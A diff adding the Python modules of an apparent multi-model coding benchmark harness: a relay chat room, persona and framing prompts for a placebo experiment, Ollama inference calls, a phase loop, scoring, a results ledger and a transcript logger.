# server's keepalive ping in those gaps and the relay would drop us
# (1011). A forever-loop keeps pings serviced regardless of the main
# thread blocking.
self._thread = threading.Thread(target=self._loop.run_forever,
daemon=True)
self._thread.start()
self._call(self._open_all())
def _call(self, coro):
"""Run a coroutine on the background loop from the main thread."""
return asyncio.run_coroutine_threadsafe(coro, self._loop).result()
def _spawn_server(self) -> None:
self.log_dir.mkdir(parents=True, exist_ok=True)
self._srv_log = open(self.log_dir / f"server-{self.port}.log", "w")
self._srv = subprocess.Popen(
[sys.executable, "cmd_chat.py", "serve", self.host, str(self.port),
"--password", self.password, "--no-tls"],
cwd=str(REPO), stdout=self._srv_log, stderr=subprocess.STDOUT)
deadline = time.time() + 30
while time.time() < deadline:
if _port_open(self.host, self.port):
return
time.sleep(0.2)
raise RuntimeError(f"relay server never bound on {self.host}:{self.port}")
async def _open_all(self) -> None:
import websockets
for name, c in self._clients.items():
url = (f"{c.ws_url}/ws/chat?user_id={c.user_id}"
f"&ws_token={c.ws_token}")
self._ws[name] = await websockets.connect(url)
# let presence settle so the referee sees subsequent broadcasts
await asyncio.sleep(0.4)
# -- posting ------------------------------------------------------------
def _encrypt(self, name: str, text: str) -> str:
c = self._clients[name]
return c.room_fernet.encrypt(text.encode()).decode()
async def _send(self, name: str, text: str) -> None:
await self._ws[name].send(self._encrypt(name, text))
async def _observe(self, want_actor: str, want_text: str,
deadline: float) -> bool:
"""Drain the referee ws until we see the actor's frame (round-trip)."""
import websockets
ref = self._clients[self._referee]
ws = self._ws[self._referee]
snippet = want_text[:24]
while time.time() < deadline:
try:
raw = await asyncio.wait_for(ws.recv(),
timeout=max(0.05, deadline - time.time()))
except asyncio.TimeoutError:
return False
except websockets.ConnectionClosed:
return False
try:
data = json.loads(raw)
except json.JSONDecodeError:
continue
if data.get("type") != "message":
continue
dec = ref.decrypt_message(data.get("data", {}))
if dec.get("username") == want_actor and snippet in dec.get("text", ""):
return True
return False
def _post_sync(self, actor: str, text: str) -> Delivery:
async def _do():
await self._send(actor, text)
ok = await self._observe(actor, text, time.time() + self.quiet)
return ok
ok = self._call(_do())
return Delivery(ok, self.substrate)
def post(self, actor: str, text: str) -> Delivery:
return self._post_sync(actor, text)
def brief(self, text: str) -> Delivery:
return self._post_sync(self._referee, text)
def acl(self, payload: dict) -> Delivery:
# referee (acting as owner) broadcasts the ACL control frame
return self._post_sync(self._referee, json.dumps(payload))
def close(self) -> None:
if self._loop is not None:
async def _close():
for ws in self._ws.values():
try:
await ws.close()
except Exception: # noqa: BLE001
pass
try:
self._call(_close())
except Exception: # noqa: BLE001
pass
self._loop.call_soon_threadsafe(self._loop.stop)
if self._thread is not None:
self._thread.join(timeout=5)
self._loop.close()
if self._srv is not None:
self._srv.terminate()
try:
self._srv.wait(timeout=10)
except subprocess.TimeoutExpired:
self._srv.kill()
if self._srv_log is not None:
self._srv_log.close()
def make_room(kind: str, member_names: list[str], **kw) -> "LocalBus | RealRoom":
"""Pick a substrate. 'local' = in-memory, 'real' = boot relay + clients."""
if kind == "real":
return RealRoom(member_names, **kw)
return LocalBus()
hh/scripts/bench/olympics/elicitation.py
+60
View File
@@ -0,0 +1,60 @@
"""Personas and framing fragments — the building blocks of the §13 placebo
experiment, used here only to assemble system prompts.
A member's system prompt is composed of three swappable parts so the placebo
A/B (M6) can vary framing while holding model + challenge fixed:
base — role-neutral task instruction (always present)
persona — who the model is told it is (role-flavoured)
framing — competition/stakes/secure-comms theater (the treatment knob)
M1 ships ``neutral`` framing as the control and ``competition`` as one treatment;
the loop selects via config. Keeping these as named, versioned strings is what
makes the elicitation effect *measurable* rather than hard-coded folklore.
"""
from __future__ import annotations
# ── role personas ─────────────────────────────────────────────────────────
PERSONAS: dict[str, str] = {
"architect": (
"You are the team's architect. You decompose the problem, fix the "
"interface and edge cases, and critique proposals crisply. You do not "
"write the final code yourself — you guide the builder."),
"builder": (
"You are the team's builder. You turn the locked plan into a single "
"correct, self-contained implementation. You favour simple, working "
"code over cleverness."),
"tester": (
"You are the team's tester. You hunt for failing inputs and edge cases "
"and report concrete bugs, not vague worries."),
"peer": (
"You are an engineer collaborating as an equal peer. You contribute "
"ideas, review your teammate's, and converge quickly on a plan."),
}
# ── framing arms (the placebo treatment) ──────────────────────────────────
FRAMINGS: dict[str, str] = {
"neutral": (
"Work with your teammate to solve the coding challenge correctly."),
"competition": (
"This is a timed competition against another team over a private, "
"encrypted channel. The faster, cleaner, correct solution wins. Your "
"teammate is counting on you — be decisive and elegant."),
}
_BASE = (
"You are {name}, a member of team {team} in a collaborative coding event. "
"You communicate with your teammate(s) over a secure chat room. Keep each "
"message short and focused: propose, critique, or decide. When the team "
"agrees on an approach, say the token PLAN-LOCKED on its own line. Do not "
"write the full final solution in chat — that is the builder's job in the "
"implement phase.")
def system_prompt(name: str, team: str, role: str, *,
framing: str = "neutral") -> str:
parts = [_BASE.format(name=name, team=team),
PERSONAS.get(role, PERSONAS["peer"]),
FRAMINGS.get(framing, FRAMINGS["neutral"])]
return " ".join(parts)
hh/scripts/bench/olympics/infer.py
+56
View File
@@ -0,0 +1,56 @@
"""Model inference for the arena.
Two call shapes, both Ollama:
• ``chat()`` — ``/api/chat`` with a system prompt + message history, used for
DELIBERATE turns (conversational planning/critique). Returns text + a token
estimate for the cost axis.
• code generation reuses ``bench/completion.py`` (raw ``/api/generate``) so the
IMPLEMENT phase gets a clean HumanEval/MBPP-style continuation, exactly like
the capability benchmark.
Keeping inference here (not in ``cmd_chat``) honours the no-edit rule: the arena
drives its own inference and merely *posts* the result into the real room.
"""
from __future__ import annotations
from dataclasses import dataclass
import requests
@dataclass
class ChatReply:
text: str
ok: bool
tokens: dict
error: str | None = None
def _est_tokens(text: str) -> int:
# cheap, deterministic estimate (~4 chars/token); real usage when Ollama
# returns eval counts is preferred and used when present.
return max(1, len(text) // 4)
def chat(model: str, system: str, messages: list[dict], *,
host: str = "http://127.0.0.1:11434", temperature: float = 0.4,
num_predict: int = 320, timeout: float = 120.0) -> ChatReply:
"""One chat turn. ``messages`` is a list of {role, content} (no system)."""
payload = {
"model": model, "stream": False,
"messages": [{"role": "system", "content": system}, *messages],
"options": {"temperature": temperature, "num_predict": num_predict},
}
try:
r = requests.post(f"{host}/api/chat", json=payload, timeout=timeout)
r.raise_for_status()
data = r.json()
except Exception as e: # noqa: BLE001 — surface as a failed turn
return ChatReply("", False, {"in": 0, "out": 0}, str(e))
text = data.get("message", {}).get("content", "")
tok = {"in": data.get("prompt_eval_count") or _est_tokens(system +
"".join(m["content"] for m in messages)),
"out": data.get("eval_count") or _est_tokens(text)}
return ChatReply(text.strip(), True, tok)
hh/scripts/bench/olympics/ledger.py
+250
View File
@@ -0,0 +1,250 @@
"""Append-only results ledger — the research record for Olympics runs.
Each event already writes a ``score.json``/``transcript.json`` under a
``<team>__<challenge>`` directory, but that directory is *overwritten* on rerun,
so it cannot answer "how did this team trend over time?". The ledger fixes that:
one flat JSON line per run, appended forever, keyed by a unique ``run_id`` and
stamped with the wall-clock time + git commit so a result is reproducible.
JSONL is chosen on purpose — it is append-safe under concurrency, streamable,
and loads in one line from pandas (``pd.read_json(path, lines=True)``), jq, or
plain ``json.loads`` per line. ``leaderboard()`` aggregates it without re-running
any model (same philosophy as re-scoring a transcript under a new profile).
"""
from __future__ import annotations
import json
import os
import socket
import subprocess
import time
import uuid
from pathlib import Path
from statistics import median
DEFAULT_PATH = Path.home() / ".cache" / "hh-bench" / "olympics" / "ledger.jsonl"
# Stable column order so the JSONL is human-diffable and schema-clear.
FIELDS = (
"run_id", "ts", "status", "team", "topology", "framing", "models",
"language", "suite", "challenge", "mode", "room", "runtime", "profile",
"seed", "code_model", "correct", "submitted", "composite", "pass@1",
"rounds", "rounds_to_green", "wall_clock_s", "wall_clock_budget",
"budget_scale", "total_tokens", "tokens_in", "tokens_out",
"cost_normalized", "defect_class", "model_baseline_correct",
"n_penalties", "error", "git", "host", "transcript",
)
# A completed-and-graded run vs the ways a run can fail to produce a grade.
STATUS_OK = "ok" # ran to a hidden-test verdict
STATUS_DNF = "dnf" # graceful budget exhaustion (soft wall-clock/token cap)
STATUS_KILLED = "killed" # hard deadline / external SIGTERM / watchdog
STATUS_ERROR = "error" # uncaught exception mid-run
def _git_sha() -> str:
try:
out = subprocess.run(["git", "rev-parse", "--short", "HEAD"],
capture_output=True, text=True, timeout=5)
return out.stdout.strip() if out.returncode == 0 else ""
except Exception: # noqa: BLE001
return ""
def _path(path: str | os.PathLike | None) -> Path:
return Path(path) if path else DEFAULT_PATH
def row_from_score(score: dict, *, team, challenge, mode: str, room: str,
runtime: str, seed: int, suite: str = "mbpp",
code_model: str | None = None,
wall_clock_budget: float | None = None,
budget_scale: float | None = None) -> dict:
"""Flatten a score dict + run context into one ledger row."""
tok = score.get("tokens", {}) or {}
return {
"run_id": uuid.uuid4().hex[:12],
"ts": time.strftime("%Y-%m-%dT%H:%M:%S"),
"status": STATUS_OK,
"team": team.id,
"topology": team.topology,
"framing": team.framing,
"models": team.models,
"language": challenge.language,
"suite": suite,
"challenge": challenge.id,
"mode": mode,
"room": score.get("room_substrate", room),
"runtime": runtime,
"profile": score.get("profile"),
"seed": seed,
"code_model": code_model,
"correct": bool(score.get("correct")),
"submitted": bool(score.get("submitted")),
"composite": score.get("composite"),
"pass@1": score.get("pass@1"),
"rounds": score.get("rounds"),
"rounds_to_green": score.get("rounds_to_green"),
"wall_clock_s": score.get("wall_clock_s"),
"wall_clock_budget": wall_clock_budget,
"budget_scale": budget_scale,
"total_tokens": score.get("total_tokens"),
"tokens_in": tok.get("in", 0),
"tokens_out": tok.get("out", 0),
"cost_normalized": score.get("cost_normalized"),
"defect_class": score.get("defect_class"),
"model_baseline_correct": score.get("model_baseline_correct"),
"n_penalties": len(score.get("penalties", []) or []),
"error": "",
"git": _git_sha(),
"host": socket.gethostname(),
"transcript": score.get("transcript"),
}
def _write(row: dict, path: str | os.PathLike | None) -> dict:
p = _path(path)
p.parent.mkdir(parents=True, exist_ok=True)
with open(p, "a") as f:
f.write(json.dumps({k: row.get(k) for k in FIELDS}) + "\n")
return row
def append(score: dict, *, team, challenge, mode: str, room: str,
runtime: str, seed: int, suite: str = "mbpp",
code_model: str | None = None,
wall_clock_budget: float | None = None,
budget_scale: float | None = None,
path: str | os.PathLike | None = None) -> dict:
"""Append one completed run to the ledger and return the row written."""
row = row_from_score(score, team=team, challenge=challenge, mode=mode,
room=room, runtime=runtime, seed=seed, suite=suite,
code_model=code_model,
wall_clock_budget=wall_clock_budget,
budget_scale=budget_scale)
return _write(row, path)
def append_incomplete(*, team, challenge, mode: str, room: str, runtime: str,
seed: int, status: str, error: str = "",
suite: str = "mbpp", code_model: str | None = None,
wall_clock_budget: float | None = None,
budget_scale: float | None = None,
path: str | os.PathLike | None = None) -> dict:
"""Append a run that never produced a hidden-test verdict (killed / errored
/ hard-DNF). Keeps the research record complete so the ledger isn't biased
toward runs that happened to finish (the selection-bias fix)."""
row = {k: None for k in FIELDS}
row.update({
"run_id": uuid.uuid4().hex[:12],
"ts": time.strftime("%Y-%m-%dT%H:%M:%S"),
"status": status,
"team": team.id, "topology": team.topology, "framing": team.framing,
"models": team.models, "language": challenge.language, "suite": suite,
"challenge": challenge.id, "mode": mode, "room": room,
"runtime": runtime, "seed": seed, "code_model": code_model,
"correct": False, "submitted": False, "n_penalties": 0,
"wall_clock_budget": wall_clock_budget, "budget_scale": budget_scale,
"error": error[:200], "git": _git_sha(), "host": socket.gethostname(),
})
return _write(row, path)
def load(path: str | os.PathLike | None = None) -> list[dict]:
p = _path(path)
if not p.exists():
return []
rows = []
for line in p.read_text().splitlines():
line = line.strip()
if line:
try:
rows.append(json.loads(line))
except json.JSONDecodeError:
continue
return rows
def _matches(row: dict, filters: dict) -> bool:
for k, v in filters.items():
if v is None:
continue
rv = row.get(k)
if k == "models": # substring match against any model in the team
if not any(v in m for m in (rv or [])):
return False
elif k == "since":
if (row.get("ts") or "") < v:
return False
elif rv != v:
return False
return True
def leaderboard(rows: list[dict], *, by: str = "team",
filters: dict | None = None) -> list[dict]:
"""Aggregate rows into a leaderboard grouped by ``by`` (any row field, or a
'+'-joined composite like 'team+language'). Ranked by solve rate."""
filters = filters or {}
keys = by.split("+")
def group_key(r):
parts = []
for k in keys:
v = r.get(k)
if isinstance(v, list):
# collapse a same-model team to one tag; keep mixed teams joined.
uniq = list(dict.fromkeys(v))
parts.append("/".join(uniq))
else:
parts.append(str(v))
return " · ".join(parts)
groups: dict[str, list[dict]] = {}
for r in rows:
if _matches(r, filters):
groups.setdefault(group_key(r), []).append(r)
out = []
for g, rs in groups.items():
attempted = len(rs)
# solve_rate is computed over *completed* runs only (status == ok) so an
# infra kill never masquerades as a capability failure; killed/errored
# runs are surfaced separately as a reliability signal.
done = [r for r in rs if (r.get("status") or "ok") == STATUS_OK]
incomplete = attempted - len(done)
solved = [r for r in done if r.get("correct")]
greens = [r["rounds_to_green"] for r in solved
if r.get("rounds_to_green") is not None]
secs = [r["wall_clock_s"] for r in done if r.get("wall_clock_s") is not None]
toks = [r["total_tokens"] for r in done if r.get("total_tokens") is not None]
out.append({
"group": g, "n": attempted, "completed": len(done),
"incomplete": incomplete, "solved": len(solved),
"solve_rate": round(len(solved) / len(done), 3) if done else None,
"median_green": median(greens) if greens else None,
"median_s": round(median(secs), 1) if secs else None,
"median_tokens": int(median(toks)) if toks else None,
})
out.sort(key=lambda d: (d["solve_rate"] if d["solve_rate"] is not None
else -1.0, d["completed"]), reverse=True)
return out
def print_leaderboard(agg: list[dict], by: str) -> None:
print("=" * 80)
print(f"olympics leaderboard · by={by} · groups={len(agg)}")
print("-" * 80)
print(f"{'group':<30}{'done':>5}{'dnf':>5}{'solved':>7}{'rate':>7}"
f"{'med_grn':>8}{'med_s':>8}{'med_tok':>9}")
print("-" * 80)
for d in agg:
g = d["group"] if len(d["group"]) <= 29 else d["group"][:28] + "…"
rate = "—" if d["solve_rate"] is None else f"{d['solve_rate']:.3f}"
print(f"{g:<30}{d['completed']:>5}{d['incomplete']:>5}{d['solved']:>7}"
f"{rate:>7}"
f"{('—' if d['median_green'] is None else d['median_green']):>8}"
f"{('—' if d['median_s'] is None else d['median_s']):>8}"
f"{('—' if d['median_tokens'] is None else d['median_tokens']):>9}")
print("=" * 80)
hh/scripts/bench/olympics/loop.py
+226
View File
@@ -0,0 +1,226 @@
"""The collaboration phase machine (SPEC §6).
Phase-separated, research-backed shape for write-heavy work: a read/plan
DELIBERATE phase (parallel-friendly, round-robin) followed by a single-driver
IMPLEMENT/TEST phase, then SUBMIT. Members see the full shared trace each turn
(Cognition: *share full traces, not just messages*). Everything is posted into
the real room (arena mode) and recorded to the transcript.
M1 turn-taking is strict round-robin (deterministic; the topology router is M3).
Budget = whichever of max_rounds / max_tokens / wall_clock_s trips first.
"""
from __future__ import annotations
import time
from dataclasses import dataclass
from . import infer, transcript as T
from .. import completion
from .challenge import Challenge
from .scoring import EventOutcome
from .team import Team
from .vm import VM
_PLAN_LOCK = "PLAN-LOCKED"
@dataclass
class Budget:
deliberate_rounds: int = 2 # round-robin passes before implementing
implement_attempts: int = 3 # driver code/test iterations
max_tokens: int = 8000
wall_clock_s: float = 300.0
@property
def max_rounds(self) -> int: # for scoring's speed normalization
return self.implement_attempts
def _destructive_guard():
"""The agent's own DESTRUCTIVE regex, read-only (referee/fair-play hook)."""
import sys
from pathlib import Path
repo = Path(__file__).resolve().parents[4]
if str(repo) not in sys.path:
sys.path.insert(0, str(repo))
from cmd_chat.agent.bridge import DESTRUCTIVE # noqa: E402
return DESTRUCTIVE
def _history_block(history: list[tuple[str, str]]) -> str:
if not history:
return "(no messages yet)"
return "\n".join(f"{who}: {msg}" for who, msg in history)
def run_event(team: Team, challenge: Challenge, room, vm: VM,
tx: T.Transcript, budget: Budget, *,
host: str = "http://127.0.0.1:11434",
temperature: float = 0.4, seed: int | None = None,
progress=None) -> EventOutcome:
t0 = time.time()
guard = _destructive_guard()
tokens = {"in": 0, "out": 0}
history: list[tuple[str, str]] = []
penalties: list[dict] = []
def _emit(p):
if progress:
progress(p)
def over_budget() -> str | None:
if time.time() - t0 > budget.wall_clock_s:
return "wall_clock"
if tokens["in"] + tokens["out"] > budget.max_tokens:
return "tokens"
return None
# ── BRIEF ──────────────────────────────────────────────────────────────
tx.phase_change("BRIEF")
brief = challenge.brief()
d = room.brief(brief)
tx.add(T.KIND_MESSAGE, "BRIEF", "referee",
{"text": brief, "delivered": d.delivered, "substrate": d.substrate},
role="referee")
_emit("BRIEF posted")
# ── DELIBERATE (round-robin, share full trace) ──────────────────────────
tx.phase_change("DELIBERATE")
plan_locked = False
deliberate_passes = 0
for rnd in range(budget.deliberate_rounds):
if over_budget():
penalties.append({"kind": "budget", "detail": over_budget()})
break
deliberate_passes += 1
for member in team.speaking_order():
user = (f"{brief}\n\nConversation so far:\n"
f"{_history_block(history)}\n\n"
f"Your turn, {member.name}. Contribute one short message "
f"(a proposal, critique, or decision). If the team has "
f"agreed on an approach, end with {_PLAN_LOCK} on its own line.")
reply = infer.chat(member.model, member.system_prompt(),
[{"role": "user", "content": user}],
host=host, temperature=temperature)
tx.add(T.KIND_AGENT, "DELIBERATE", member.name,
{"ok": reply.ok}, role=member.role, model=member.model,
tokens=reply.tokens)
text = reply.text if reply.ok else f"[infer error: {reply.error}]"
tokens["in"] += reply.tokens.get("in", 0)
tokens["out"] += reply.tokens.get("out", 0)
dd = room.post(member.name, text)
tx.add(T.KIND_MESSAGE, "DELIBERATE", member.name,
{"text": text, "delivered": dd.delivered,
"substrate": dd.substrate},
role=member.role, model=member.model)
history.append((member.name, text))
_emit(f"DELIBERATE r{rnd + 1} {member.name}")
if _PLAN_LOCK in text:
plan_locked = True
if plan_locked:
break
# extract the locked plan (last substantive deliberation message) to seed
# the driver — this is how the agreed plan reaches the implementation.
plan = ""
for who, msg in reversed(history):
clean = msg.replace(_PLAN_LOCK, "").strip()
if clean:
plan = clean
break
# ── IMPLEMENT / TEST (single driver) ────────────────────────────────────
driver = team.driver()
tx.acl("IMPLEMENT", {"_perm": "acl", "drivers": [driver.name],
"sudoers": []})
room.acl({"_perm": "acl", "drivers": [driver.name], "sudoers": []})
tx.phase_change("IMPLEMENT", note=f"driver={driver.name}")
public_passed = False
rounds_to_green: int | None = None
attempts = 0
last_fail = ""
completion_text = ""
for attempt in range(budget.implement_attempts):
if over_budget():
penalties.append({"kind": "budget", "detail": over_budget()})
break
attempts += 1
# build the raw continuation prompt; seed with the agreed plan and any
# prior failure so the driver iterates.
prefix = ""
if plan:
plan_c = "\n".join(f"# {ln}" for ln in plan.splitlines()[:6])
prefix += f"# Team plan:\n{plan_c}\n"
if last_fail:
fc = "\n".join(f"# {ln}" for ln in last_fail.splitlines()[:6])
prefix += f"# Previous attempt failed:\n{fc}\n"
gen_prompt = prefix + challenge.gen_prompt()
comp = completion.complete(driver.model, gen_prompt,
challenge.stop_tokens(), host=host,
temperature=temperature, timeout=180.0,
seed=seed)
tx.add(T.KIND_AGENT, "IMPLEMENT", driver.name,
{"ok": comp.ok, "attempt": attempts}, role=driver.role,
model=driver.model)
if not comp.ok:
last_fail = f"generation error: {comp.error}"
continue
completion_text = comp.text
# fair-play guard hook (M4 referee will act on this; M1 just records)
flagged = guard.search(completion_text)
if flagged:
tx.guard("IMPLEMENT", driver.name,
{"flagged": flagged.group(0)[:60]})
penalties.append({"kind": "destructive", "detail": flagged.group(0)[:60]})
program = challenge.public_program(completion_text)
res = vm.run(program, timeout=30.0, label=f"public-attempt-{attempts}")
tx.tool("TEST", driver.name,
{"label": f"public-attempt-{attempts}", "rc": res.rc,
"ok": res.ok, "out": res.out[-400:]}, role=driver.role)
_emit(f"IMPLEMENT attempt {attempts} -> {'green' if res.ok else 'red'}")
if res.ok:
public_passed = True
rounds_to_green = attempts
break
last_fail = (res.note or res.out)[-300:]
fb = (f"Attempt {attempts} failed public tests:\n{last_fail}\n"
f"Driver, revise the implementation.")
fbd = room.post("referee", fb)
tx.add(T.KIND_MESSAGE, "TEST", "referee",
{"text": fb, "delivered": fbd.delivered,
"substrate": fbd.substrate}, role="referee")
# revoke drive between phases
tx.acl("SUBMIT", {"_perm": "acl", "drivers": [], "sudoers": []})
room.acl({"_perm": "acl", "drivers": [], "sudoers": []})
# ── SUBMIT + hidden grade ────────────────────────────────────────────────
tx.phase_change("SUBMIT")
sd = room.post(driver.name, "SUBMIT")
tx.add(T.KIND_MESSAGE, "SUBMIT", driver.name,
{"text": "SUBMIT", "delivered": sd.delivered,
"substrate": sd.substrate}, role=driver.role)
correct = False
if completion_text:
hidden = vm.run(challenge.hidden_program(completion_text),
timeout=30.0, label="hidden-grade")
tx.tool("SUBMIT", "referee",
{"label": "hidden-grade", "rc": hidden.rc, "ok": hidden.ok,
"out": hidden.out[-400:]})
correct = hidden.ok
submitted = bool(completion_text)
tx.add(T.KIND_TOOL, "SUBMIT", "referee",
{"label": "artifact", **vm.freeze()})
elapsed = time.time() - t0
return EventOutcome(
team=team.id, challenge=challenge.id, submitted=submitted,
correct=correct, rounds=deliberate_passes + attempts,
wall_clock_s=elapsed, tokens=tokens, public_passed=public_passed,
rounds_to_green=rounds_to_green, penalties=penalties)
hh/scripts/bench/olympics/roster.py
+53
View File
@@ -0,0 +1,53 @@
"""Build teams from config.
Config is a plain dict (loaded from YAML/JSON by the launcher). M1 needs only a
single same-model 2-member team; the schema is the SPEC §7 shape so M2+ scales
to multiple, mixed-model teams without changes.
{
"teams": [
{"id": "falcon", "topology": "star", "framing": "neutral",
"members": [
{"name": "archie", "model": "qwen2.5-coder:3b", "role": "architect"},
{"name": "bob", "model": "qwen2.5-coder:3b", "role": "builder"}
]}
]
}
"""
from __future__ import annotations
from .team import Member, Team
def build_team(spec: dict) -> Team:
framing = spec.get("framing", "neutral")
members = [
Member(name=m["name"], model=m["model"],
role=m.get("role", "peer"),
framing=m.get("framing", framing))
for m in spec["members"]
]
if not members:
raise ValueError(f"team {spec.get('id')!r} has no members")
return Team(id=spec["id"], members=members,
topology=spec.get("topology", "star"), framing=framing)
def build_teams(config: dict) -> list[Team]:
teams = [build_team(t) for t in config.get("teams", [])]
if not teams:
raise ValueError("config has no teams")
return teams
def same_model_team(model: str, *, team_id: str = "solo",
framing: str = "neutral") -> Team:
"""Convenience for M1: a 2-member architect+builder team on one model."""
return build_team({
"id": team_id, "topology": "star", "framing": framing,
"members": [
{"name": "archie", "model": model, "role": "architect"},
{"name": "bob", "model": model, "role": "builder"},
],
})
hh/scripts/bench/olympics/scoring.py
+127
View File
@@ -0,0 +1,127 @@
"""Deterministic scoring for one (team, event).
M1 covers the verifiable-first layer of SPEC §9: correctness gates everything,
speed and cost are normalized deterministically, quality/collaboration are left
to the judge (M4) and reported as ``None`` here. The composite uses a weight
*profile* (same idea as ``bench/workflows.json``) so re-ranking never re-runs a
model.
Single-sample M1 note: with one implementation attempt, ``pass@1`` is 0/1 and
``pass^k`` (worst-case reliability) equals it; both fields are emitted so the
schema is stable when M2 adds repeated samples.
"""
from __future__ import annotations
from dataclasses import dataclass, field
# Default weight profile. Quality/collaboration weights are reserved for the
# judge layer (M4); with judge scores absent they contribute 0 and the profile
# is renormalized over the available axes so M1 scores stay in [0, 1].
PROFILES: dict[str, dict[str, float]] = {
"balanced": {"correctness": 0.6, "speed": 0.2, "quality": 0.1,
"collaboration": 0.1},
"correctness": {"correctness": 0.9, "speed": 0.1, "quality": 0.0,
"collaboration": 0.0},
"speed": {"correctness": 0.5, "speed": 0.5, "quality": 0.0,
"collaboration": 0.0},
}
@dataclass
class EventOutcome:
"""What the loop produces for one team at one event (deterministic facts)."""
team: str
challenge: str
submitted: bool
correct: bool # hidden tests all passed
rounds: int # deliberate/implement rounds consumed
wall_clock_s: float
tokens: dict = field(default_factory=lambda: {"in": 0, "out": 0})
public_passed: bool = False # public tests green before SUBMIT
rounds_to_green: int | None = None # round at which public went green
penalties: list = field(default_factory=list) # [{"kind","detail"}]
quality: float | None = None # filled by judge (M4)
collaboration: float | None = None # filled by judge (M4)
# bridge diagnostics: separate a broken product path from a model error, and
# record the model's true ability via an un-stripped control generation.
defect_class: str | None = None # e.g. "product-path-defect:IndentationError"
model_baseline_correct: bool | None = None
def _speed_score(o: EventOutcome, budget: dict) -> float:
"""1.0 for instant green, decaying toward 0 as rounds approach the cap.
Only meaningful if the team got correct code; uncorrect teams get 0."""
if not o.correct:
return 0.0
cap = max(1, int(budget.get("max_rounds", 6)))
used = o.rounds_to_green if o.rounds_to_green is not None else o.rounds
used = max(1, min(used, cap))
return round(1.0 - (used - 1) / cap, 4)
def _penalty_total(o: EventOutcome) -> float:
# each penalty shaves a flat slice; capped so a score never goes negative.
return min(0.5, 0.1 * len(o.penalties))
def score_event(o: EventOutcome, *, profile: str = "balanced",
budget: dict | None = None) -> dict:
budget = budget or {}
w = PROFILES.get(profile, PROFILES["balanced"])
axes = {
"correctness": 1.0 if o.correct else 0.0,
"speed": _speed_score(o, budget),
"quality": o.quality, # may be None (no judge yet)
"collaboration": o.collaboration,
}
# renormalize weights over axes that actually have a value this run
active = {k: w[k] for k, v in axes.items() if v is not None and w.get(k, 0)}
wsum = sum(active.values()) or 1.0
composite = sum(active[k] / wsum * axes[k] for k in active)
composite = round(max(0.0, composite - _penalty_total(o)), 4)
tok = o.tokens.get("in", 0) + o.tokens.get("out", 0)
return {
"team": o.team, "challenge": o.challenge,
"submitted": o.submitted, "correct": o.correct,
"composite": composite,
"axes": {k: (round(v, 4) if v is not None else None)
for k, v in axes.items()},
"pass@1": 1.0 if o.correct else 0.0,
"pass^1": 1.0 if o.correct else 0.0, # worst-case == pass@1 at n=1
"rounds": o.rounds, "rounds_to_green": o.rounds_to_green,
"wall_clock_s": round(o.wall_clock_s, 1),
"tokens": dict(o.tokens), "total_tokens": tok,
"cost_normalized": round(composite / tok, 8) if tok else None,
"penalties": list(o.penalties),
"defect_class": o.defect_class,
"model_baseline_correct": o.model_baseline_correct,
"profile": profile,
}
def print_score(s: dict) -> None:
print("=" * 72)
print(f"score · team={s['team']} · challenge={s['challenge']} "
f"· profile={s['profile']}")
print("-" * 72)
g = "✓" if s["correct"] else "✗"
green = f"(green@{s['rounds_to_green']})" if s["rounds_to_green"] else ""
print(f" correct={g} composite={s['composite']:.3f} "
f"pass@1={s['pass@1']:.0f} rounds={s['rounds']}{green}"
f" {s['wall_clock_s']:.1f}s")
print(" axes: " + " ".join(
f"{k}={'—' if v is None else f'{v:.2f}'}" for k, v in s["axes"].items()))
print(f" tokens={s['total_tokens']} "
f"cost_norm={s['cost_normalized']}")
if s.get("defect_class") or s.get("model_baseline_correct") is not None:
base = s.get("model_baseline_correct")
base_str = "—" if base is None else ("✓" if base else "✗")
print(f" defect={s.get('defect_class') or 'none'} "
f"model_baseline={base_str}")
if s["penalties"]:
print(" penalties:")
for p in s["penalties"]:
print(f" - {p}")
print("=" * 72)
hh/scripts/bench/olympics/team.py
+58
View File
@@ -0,0 +1,58 @@
"""Team and Member value objects (config-driven, modular per SPEC §7).
A ``Member`` binds a room name to a model, a role (which selects persona +
loop privileges) and an elicitation framing. A ``Team`` groups members under a
topology. Same-model teams (protocol study) and mixed-model teams (capability
study) are both just different config — no code changes.
"""
from __future__ import annotations
from dataclasses import dataclass, field
from . import elicitation
_DRIVER_ROLES = ("builder", "architect") # who may drive IMPLEMENT, in order
@dataclass
class Member:
name: str
model: str
role: str = "peer"
framing: str = "neutral"
team: str = ""
def system_prompt(self) -> str:
return elicitation.system_prompt(self.name, self.team, self.role,
framing=self.framing)
@dataclass
class Team:
id: str
members: list[Member]
topology: str = "star" # star | chain | mesh (M3 uses this)
framing: str = "neutral"
def __post_init__(self):
for m in self.members:
if not m.team:
m.team = self.id
@property
def models(self) -> list[str]:
return [m.model for m in self.members]
def driver(self) -> Member:
"""The member who writes to the VM in IMPLEMENT. Prefer a builder, then
an architect, else the first member."""
for role in _DRIVER_ROLES:
for m in self.members:
if m.role == role:
return m
return self.members[0]
def speaking_order(self) -> list[Member]:
"""Round-robin order for DELIBERATE (M1). M3 will route by topology."""
return list(self.members)
hh/scripts/bench/olympics/transcript.py
+140
View File
@@ -0,0 +1,140 @@
"""Replayable, OTel-aligned event log for one (team, event).
Every room frame, model call, tool call, phase change, ACL grant and guard
verdict becomes one ``Event`` whose ``kind`` follows the OpenTelemetry GenAI
semantic conventions (``message`` / ``invoke_agent`` / ``execute_tool`` /
``phase`` / ``acl`` / ``guard``). The transcript is a pure record: re-rendering
it (``replay``) or re-judging it under a new rubric is a function of this file
alone, which is the SPEC's reproducibility contract (§11).
A ``Transcript`` also carries a ``manifest`` — the config hash, seed, model
versions, challenge id and budget — so a result is self-describing.
"""
from __future__ import annotations
import json
import time
from dataclasses import asdict, dataclass, field
from pathlib import Path
from typing import Any
# kinds, aligned to OTel GenAI agent spans
KIND_MESSAGE = "message" # a chat utterance posted into the room
KIND_AGENT = "invoke_agent" # a model inference call
KIND_TOOL = "execute_tool" # a VM command / code execution
KIND_PHASE = "phase" # a phase transition of the loop
KIND_ACL = "acl" # a drive-grant / revoke
KIND_GUARD = "guard" # a destructive-guard / safety verdict
@dataclass
class Event:
ts: float
kind: str
phase: str
actor: str
payload: dict[str, Any] = field(default_factory=dict)
role: str = ""
model: str = ""
tokens: dict[str, int] = field(default_factory=dict)
class Transcript:
"""An append-only event log for one team's run at one event."""
def __init__(self, team: str, challenge: str, manifest: dict | None = None):
self.team = team
self.challenge = challenge
self.manifest = manifest or {}
self.events: list[Event] = []
self._t0 = time.time()
def add(self, kind: str, phase: str, actor: str, payload: dict | None = None,
*, role: str = "", model: str = "", tokens: dict | None = None) -> Event:
